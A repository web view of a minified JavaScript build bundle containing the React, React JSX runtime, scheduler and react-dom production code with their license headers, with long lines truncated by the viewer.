Files

449 lines
933 KiB
JavaScript
Raw Permalink Normal View History

2026-08-27 11:03:10 -06:00
var cS=Object.defineProperty;var uS=(e,t,n)=>t in e?cS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Cf=(e,t,n)=>uS(e,typeof t!="symbol"?t+"":t,n);function dS(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const i in r)if(i!=="default"&&!(i in e)){const s=Object.getOwnPropertyDescriptor(r,i);s&&Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>r[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Q2={exports:{}},Yu={},J2={exports:{}},Se={};/**
* @license React
* react.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var Qo=Symbol.for("react.element"),fS=Symbol.for("react.portal"),mS=Symbol.for("react.fragment"),pS=Symbol.for("react.strict_mode"),hS=Symbol.for("react.profiler"),xS=Symbol.for("react.provider"),vS=Symbol.for("react.context"),gS=Symbol.for("react.forward_ref"),yS=Symbol.for("react.suspense"),bS=Symbol.for("react.memo"),wS=Symbol.for("react.lazy"),Av=Symbol.iterator;function jS(e){return e===null||typeof e!="object"?null:(e=Av&&e[Av]||e["@@iterator"],typeof e=="function"?e:null)}var ew={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},tw=Object.assign,nw={};function ms(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}ms.prototype.isReactComponent={};ms.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};ms.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function rw(){}rw.prototype=ms.prototype;function Ch(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}var Ph=Ch.prototype=new rw;Ph.constructor=Ch;tw(Ph,ms.prototype);Ph.isPureReactComponent=!0;var Ov=Array.isArray,iw=Object.prototype.hasOwnProperty,Eh={current:null},aw={key:!0,ref:!0,__self:!0,__source:!0};function sw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)iw.call(t,r)&&!aw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1<l){for(var c=Array(l),u=0;u<l;u++)c[u]=arguments[u+2];i.children=c}if(e&&e.defaultProps)for(r in l=e.defaultProps,l)i[r]===void 0&&(i[r]=l[r]);return{$$typeof:Qo,type:e,key:s,ref:o,props:i,_owner:Eh.current}}function NS(e,t){return{$$typeof:Qo,type:e.type,key:t,ref:e.ref,props:e.props,_owner:e._owner}}function _h(e){return typeof e=="object"&&e!==null&&e.$$typeof===Qo}function kS(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,function(n){return t[n]})}var Tv=/\/+/g;function Pf(e,t){return typeof e=="object"&&e!==null&&e.key!=null?kS(""+e.key):t.toString(36)}function lc(e,t,n,r,i){var s=typeof e;(s==="undefined"||s==="boolean")&&(e=null);var o=!1;if(e===null)o=!0;else switch(s){case"string":case"number":o=!0;break;case"object":switch(e.$$typeof){case Qo:case fS:o=!0}}if(o)return o=e,i=i(o),e=r===""?"."+Pf(o,0):r,Ov(i)?(n="",e!=null&&(n=e.replace(Tv,"$&/")+"/"),lc(i,t,n,"",function(u){return u})):i!=null&&(_h(i)&&(i=NS(i,n+(!i.key||o&&o.key===i.key?"":(""+i.key).replace(Tv,"$&/")+"/")+e)),t.push(i)),1;if(o=0,r=r===""?".":r+":",Ov(e))for(var l=0;l<e.length;l++){s=e[l];var c=r+Pf(s,l);o+=lc(s,t,n,c,i)}else if(c=jS(e),typeof c=="function")for(e=c.call(e),l=0;!(s=e.next()).done;)s=s.value,c=r+Pf(s,l++),o+=lc(s,t,n,c,i);else if(s==="object")throw t=String(e),Error("Objects are not valid as a React child (found: "+(t==="[object Object]"?"object with keys {"+Object.keys(e).join(", ")+"}":t)+"). If you meant to render a collection of children, use an array instead.");return o}function Nl(e,t,n){if(e==null)return e;var r=[],i=0;return lc(e,r,"","",function(s){return t.call(n,s,i++)}),r}function zS(e){if(e._status===-1){var t=e._result;t=t(),t.then(function(n){(e._status===0||e._status===-1)&&(e._status=1,e._result=n)},function(n){(e._status===0||e._status===-1)&&(e._status=2,e._result=n)}),e._status===-1&&(e._status=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Ht={current:null},cc={transition:null},SS={ReactCurrentDispatcher:Ht,ReactCurrentBatchConfig:cc,ReactCurrentOwner:Eh};function ow(){throw Error("act(...) is not supported in production builds of React.")}Se.Children={map:Nl,forEach:function(e,t,n){Nl(e,function(){t.apply(this,arguments)},n)},count:function(e){var t=0;return Nl(e,function(){t++}),t},toArray:function(e){return Nl(e,function(t){return t})||[]},only:function(e){if(!_h(e))throw Error("React.Children.only expected to receive a sin
* @license React
* react-jsx-runtime.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var CS=m,PS=Symbol.for("react.element"),ES=Symbol.for("react.fragment"),_S=Object.prototype.hasOwnProperty,AS=CS.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,OS={key:!0,ref:!0,__self:!0,__source:!0};function cw(e,t,n){var r,i={},s=null,o=null;n!==void 0&&(s=""+n),t.key!==void 0&&(s=""+t.key),t.ref!==void 0&&(o=t.ref);for(r in t)_S.call(t,r)&&!OS.hasOwnProperty(r)&&(i[r]=t[r]);if(e&&e.defaultProps)for(r in t=e.defaultProps,t)i[r]===void 0&&(i[r]=t[r]);return{$$typeof:PS,type:e,key:s,ref:o,props:i,_owner:AS.current}}Yu.Fragment=ES;Yu.jsx=cw;Yu.jsxs=cw;Q2.exports=Yu;var a=Q2.exports,Mm={},uw={exports:{}},xn={},dw={exports:{}},fw={};/**
* @license React
* scheduler.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/(function(e){function t($,U){var B=$.length;$.push(U);e:for(;0<B;){var K=B-1>>>1,Z=$[K];if(0<i(Z,U))$[K]=U,$[B]=Z,B=K;else break e}}function n($){return $.length===0?null:$[0]}function r($){if($.length===0)return null;var U=$[0],B=$.pop();if(B!==U){$[0]=B;e:for(var K=0,Z=$.length,le=Z>>>1;K<le;){var de=2*(K+1)-1,we=$[de],ye=de+1,G=$[ye];if(0>i(we,B))ye<Z&&0>i(G,we)?($[K]=G,$[ye]=B,K=ye):($[K]=we,$[de]=B,K=de);else if(ye<Z&&0>i(G,B))$[K]=G,$[ye]=B,K=ye;else break e}}return U}function i($,U){var B=$.sortIndex-U.sortIndex;return B!==0?B:$.id-U.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w($){for(var U=n(u);U!==null;){if(U.callback===null)r(u);else if(U.startTime<=$)r(u),U.sortIndex=U.expirationTime,t(c,U);else break;U=n(u)}}function j($){if(g=!1,w($),!x)if(n(c)!==null)x=!0,M(N);else{var U=n(u);U!==null&&W(j,U.startTime-$)}}function N($,U){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var B=p;try{for(w(U),f=n(c);f!==null&&(!(f.expirationTime>U)||$&&!O());){var K=f.callback;if(typeof K=="function"){f.callback=null,p=f.priorityLevel;var Z=K(f.expirationTime<=U);U=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(U)}else r(c);f=n(c)}if(f!==null)var le=!0;else{var de=n(u);de!==null&&W(j,de.startTime-U),le=!1}return le}finally{f=null,p=B,h=!1}}var k=!1,z=null,S=-1,A=5,_=-1;function O(){return!(e.unstable_now()-_<A)}function P(){if(z!==null){var $=e.unstable_now();_=$;var U=!0;try{U=z(!0,$)}finally{U?D():(k=!1,z=null)}}else k=!1}var D;if(typeof b=="function")D=function(){b(P)};else if(typeof MessageChannel<"u"){var V=new MessageChannel,R=V.port2;V.port1.onmessage=P,D=function(){R.postMessage(null)}}else D=function(){y(P,0)};function M($){z=$,k||(k=!0,D())}function W($,U){S=y(function(){$(e.unstable_now())},U)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function($){$.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,M(N))},e.unstable_forceFrameRate=function($){0>$||125<$?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):A=0<$?Math.floor(1e3/$):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function($){switch(p){case 1:case 2:case 3:var U=3;break;default:U=p}var B=p;p=U;try{return $()}finally{p=B}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function($,U){switch($){case 1:case 2:case 3:case 4:case 5:break;default:$=3}var B=p;p=$;try{return U()}finally{p=B}},e.unstable_scheduleCallback=function($,U,B){var K=e.unstable_now();switch(typeof B=="object"&&B!==null?(B=B.delay,B=typeof B=="number"&&0<B?K+B:K):B=K,$){case 1:var Z=-1;break;case 2:Z=250;break;case 5:Z=1073741823;break;case 4:Z=1e4;break;default:Z=5e3}return Z=B+Z,$={id:d++,callback:U,priorityLevel:$,startTime:B,expirationTime:Z,sortIndex:-1},B>K?($.sortIndex=B,t(u,$),n(c)===null&&$===n(u)&&(g?(v(S),S=-1):g=!0,W(j,B-K))):($.sortIndex=Z,t(c,$),x||h||(x=!0,M(N))),$},e.unstable_shouldYield=O,e.unstable_wrapCallback=function($){var U=p;return function(){var B=p;p=U;try{return $.apply(this,arguments)}finally{p=B}}}})(fw);dw.exports=fw;var TS=dw.exports;/**
* @license React
* react-dom.production.min.js
*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var MS=m,pn=TS;function J(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n]);return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var mw=new Set,po={};function xa(e,t){Qa(e,t),Qa(e+"Capture",t)}function Qa(e,t){for(po[e]=t,e=0;e<t.length;e++)mw.add(t[e])}var _r=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Lm=Object.prototype.hasOwnProperty,LS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Mv={},Lv={};function IS(e){return Lm.call(Lv,e)?!0:Lm.call(Mv,e)?!1:LS.test(e)?Lv[e]=!0:(Mv[e]=!0,!1)}function DS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function RS(e,t,n,r){if(t===null||typeof t>"u"||DS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Oh=/[\-:]([a-z])/g;function Th(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-
`+Ef+e}var _f=!1;function Af(e,t){if(!e||_f)return"";_f=!0;var n=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(t)if(t=function(){throw Error()},Object.defineProperty(t.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(t,[])}catch(u){var r=u}Reflect.construct(e,[],t)}else{try{t.call()}catch(u){r=u}e.call(t.prototype)}else{try{throw Error()}catch(u){r=u}e()}}catch(u){if(u&&r&&typeof u.stack=="string"){for(var i=u.stack.split(`
`),s=r.stack.split(`
`),o=i.length-1,l=s.length-1;1<=o&&0<=l&&i[o]!==s[l];)l--;for(;1<=o&&0<=l;o--,l--)if(i[o]!==s[l]){if(o!==1||l!==1)do if(o--,l--,0>l||i[o]!==s[l]){var c=`
`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("<anonymous>")&&(c=c.replace("<anonymous>",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{_f=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Zs(e):""}function $S(e){switch(e.tag){case 5:return Zs(e.type);case 16:return Zs("Lazy");case 13:return Zs("Suspense");case 19:return Zs("SuspenseList");case 0:case 2:case 15:return e=Af(e.type,!1),e;case 11:return e=Af(e.type.render,!1),e;case 1:return e=Af(e.type,!0),e;default:return""}}function $m(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Ea:return"Fragment";case Pa:return"Portal";case Im:return"Profiler";case Lh:return"StrictMode";case Dm:return"Suspense";case Rm:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case hw:return(e.displayName||"Context")+".Consumer";case pw:return(e._context.displayName||"Context")+".Provider";case Ih:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Dh:return t=e.displayName||null,t!==null?t:$m(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return $m(e(t))}catch{}}return null}function BS(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return $m(t);case 8:return t===Lh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function vw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function FS(e){var t=vw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function zl(e){e._valueTracker||(e._valueTracker=FS(e))}function gw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=vw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Cc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Bm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Dv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function yw(e,t){t=t.checked,t!=null&&Mh(e,"checked",t,!1)}function Fm(e,t){yw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Wm(e,t.type,n):t.hasOwnProperty("defaultValue")&&Wm(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Rv(e,t,n){if(t.hasOwnProperty("val
`).replace(ZC,"")}function Tl(e,t,n){if(t=og(t),og(e)!==t&&n)throw Error(J(425))}function Lc(){}var np=null,rp=null;function ip(e,t){return e==="textarea"||e==="noscript"||typeof t.children=="string"||typeof t.children=="number"||typeof t.dangerouslySetInnerHTML=="object"&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var ap=typeof setTimeout=="function"?setTimeout:void 0,QC=typeof clearTimeout=="function"?clearTimeout:void 0,lg=typeof Promise=="function"?Promise:void 0,JC=typeof queueMicrotask=="function"?queueMicrotask:typeof lg<"u"?function(e){return lg.resolve(null).then(e).catch(eP)}:ap;function eP(e){setTimeout(function(){throw e})}function Vf(e,t){var n=t,r=0;do{var i=n.nextSibling;if(e.removeChild(n),i&&i.nodeType===8)if(n=i.data,n==="/$"){if(r===0){e.removeChild(i),yo(t);return}r--}else n!=="$"&&n!=="$?"&&n!=="$!"||r++;n=i}while(n);yo(t)}function pi(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t==="$"||t==="$!"||t==="$?")break;if(t==="/$")return null}}return e}function cg(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="$"||n==="$!"||n==="$?"){if(t===0)return e;t--}else n==="/$"&&t++}e=e.previousSibling}return null}var hs=Math.random().toString(36).slice(2),ar="__reactFiber$"+hs,ko="__reactProps$"+hs,Ar="__reactContainer$"+hs,sp="__reactEvents$"+hs,tP="__reactListeners$"+hs,nP="__reactHandles$"+hs;function Hi(e){var t=e[ar];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Ar]||n[ar]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=cg(e);e!==null;){if(n=e[ar])return n;e=cg(e)}return t}e=n,n=e.parentNode}return null}function tl(e){return e=e[ar]||e[Ar],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function Ta(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(J(33))}function Qu(e){return e[ko]||null}var op=[],Ma=-1;function Ei(e){return{current:e}}function Ue(e){0>Ma||(e.current=op[Ma],op[Ma]=null,Ma--)}function Be(e,t){Ma++,op[Ma]=e.current,e.current=t}var ki={},$t=Ei(ki),Qt=Ei(!1),ra=ki;function Ja(e,t){var n=e.type.contextTypes;if(!n)return ki;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},s;for(s in n)i[s]=t[s];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Jt(e){return e=e.childContextTypes,e!=null}function Ic(){Ue(Qt),Ue($t)}function ug(e,t,n){if($t.current!==ki)throw Error(J(168));Be($t,t),Be(Qt,n)}function oj(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(J(108,BS(e)||"Unknown",i));return Ze({},n,r)}function Dc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ki,ra=$t.current,Be($t,e),Be(Qt,Qt.current),!0}function dg(e,t,n){var r=e.stateNode;if(!r)throw Error(J(169));n?(e=oj(e,t,ra),r.__reactInternalMemoizedMergedChildContext=e,Ue(Qt),Ue($t),Be($t,e)):Ue(Qt),Be(Qt,n)}var jr=null,Ju=!1,Hf=!1;function lj(e){jr===null?jr=[e]:jr.push(e)}function rP(e){Ju=!0,lj(e)}function _i(){if(!Hf&&jr!==null){Hf=!0;var e=0,t=Le;try{var n=jr;for(Le=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}jr=null,Ju=!1}catch(i){throw jr!==null&&(jr=jr.slice(e+1)),Tw($h,_i),i}finally{Le=t,Hf=!1}}return null}var La=[],Ia=0,Rc=null,$c=0,zn=[],Sn=0,ia=null,kr=1,zr="";function $i(e,t){La[Ia++]=$c,La[Ia++]=Rc,Rc=e,$c=t}function cj(e,t,n){zn[Sn++]=kr,zn[Sn++]=zr,zn[Sn++]=ia,ia=e;var r=kr;e=zr;var i=32-Kn(r)-1;r&=~(1<<i),n+=1;var s=32-Kn(t)+i;if(30<s){var o=i-i%5;s=(r&(1<<o)-1).toString(32),r>>=o,i-=o,kr=1<<32-Kn(t)+i|n<<i|r,zr=s+e}else kr=1<<s|n<<i|r,zr=e}function qh(e){e.return!==null&&($i(e,1),cj(e,1,0))}function Gh(e){for(;e===Rc;)Rc=La[--Ia],La[Ia]=null,$c=La[--Ia],La[Ia]=null;for(;e===ia;)ia=zn[--Sn],zn[Sn]=null,zr=zn[--Sn],zn[Sn]=null,kr=zn[--Sn],zn[Sn]=null}var dn=null,cn=null,Ke=!1,Wn=null;function uj(e,t){var n=Cn(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,t=e.deletio
Error generating stack: `+s.message+`
`+s.stack}return{value:e,source:t,stack:i,digest:null}}function Xf(e,t,n){return{value:e,source:null,stack:n??null,digest:t??null}}function mp(e,t){try{console.error(t.value)}catch(n){setTimeout(function(){throw n})}}var fP=typeof WeakMap=="function"?WeakMap:Map;function Dj(e,t,n){n=Pr(-1,n),n.tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Yc||(Yc=!0,Np=r),mp(e,t)},n}function Rj(e,t,n){n=Pr(-1,n),n.tag=3;var r=e.type.getDerivedStateFromError;if(typeof r=="function"){var i=t.value;n.payload=function(){return r(i)},n.callback=function(){mp(e,t)}}var s=e.stateNode;return s!==null&&typeof s.componentDidCatch=="function"&&(n.callback=function(){mp(e,t),typeof r!="function"&&(xi===null?xi=new Set([this]):xi.add(this));var o=t.stack;this.componentDidCatch(t.value,{componentStack:o!==null?o:""})}),n}function wg(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new fP;var i=new Set;r.set(t,i)}else i=r.get(t),i===void 0&&(i=new Set,r.set(t,i));i.has(n)||(i.add(n),e=SP.bind(null,e,t,n),t.then(e,e))}function jg(e){do{var t;if((t=e.tag===13)&&(t=e.memoizedState,t=t!==null?t.dehydrated!==null:!0),t)return e;e=e.return}while(e!==null);return null}function Ng(e,t,n,r,i){return e.mode&1?(e.flags|=65536,e.lanes=i,e):(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(t=Pr(-1,1),t.tag=2,hi(n,t,1))),n.lanes|=1),e)}var mP=Ur.ReactCurrentOwner,qt=!1;function Bt(e,t,n,r){t.child=e===null?mj(t,null,n,r):ts(t,e.child,n,r)}function kg(e,t,n,r,i){n=n.render;var s=t.ref;return Ya(t,i),r=sx(e,t,n,r,s,i),n=ox(),e!==null&&!qt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Tr(e,t,i)):(Ke&&n&&qh(t),t.flags|=1,Bt(e,t,r,i),t.child)}function zg(e,t,n,r,i){if(e===null){var s=n.type;return typeof s=="function"&&!vx(s)&&s.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(t.tag=15,t.type=s,$j(e,t,s,r,i)):(e=yc(n.type,null,r,t,t.mode,i),e.ref=t.ref,e.return=t,t.child=e)}if(s=e.child,!(e.lanes&i)){var o=s.memoizedProps;if(n=n.compare,n=n!==null?n:wo,n(o,r)&&e.ref===t.ref)return Tr(e,t,i)}return t.flags|=1,e=gi(s,r),e.ref=t.ref,e.return=t,t.child=e}function $j(e,t,n,r,i){if(e!==null){var s=e.memoizedProps;if(wo(s,r)&&e.ref===t.ref)if(qt=!1,t.pendingProps=r=s,(e.lanes&i)!==0)e.flags&131072&&(qt=!0);else return t.lanes=e.lanes,Tr(e,t,i)}return pp(e,t,n,r,i)}function Bj(e,t,n){var r=t.pendingProps,i=r.children,s=e!==null?e.memoizedState:null;if(r.mode==="hidden")if(!(t.mode&1))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},Be($a,on),on|=n;else{if(!(n&1073741824))return e=s!==null?s.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,Be($a,on),on|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=s!==null?s.baseLanes:n,Be($a,on),on|=r}else s!==null?(r=s.baseLanes|n,t.memoizedState=null):r=n,Be($a,on),on|=r;return Bt(e,t,i,n),t.child}function Fj(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function pp(e,t,n,r,i){var s=Jt(n)?ra:$t.current;return s=Ja(t,s),Ya(t,i),n=sx(e,t,n,r,s,i),r=ox(),e!==null&&!qt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~i,Tr(e,t,i)):(Ke&&r&&qh(t),t.flags|=1,Bt(e,t,n,i),t.child)}function Sg(e,t,n,r,i){if(Jt(n)){var s=!0;Dc(t)}else 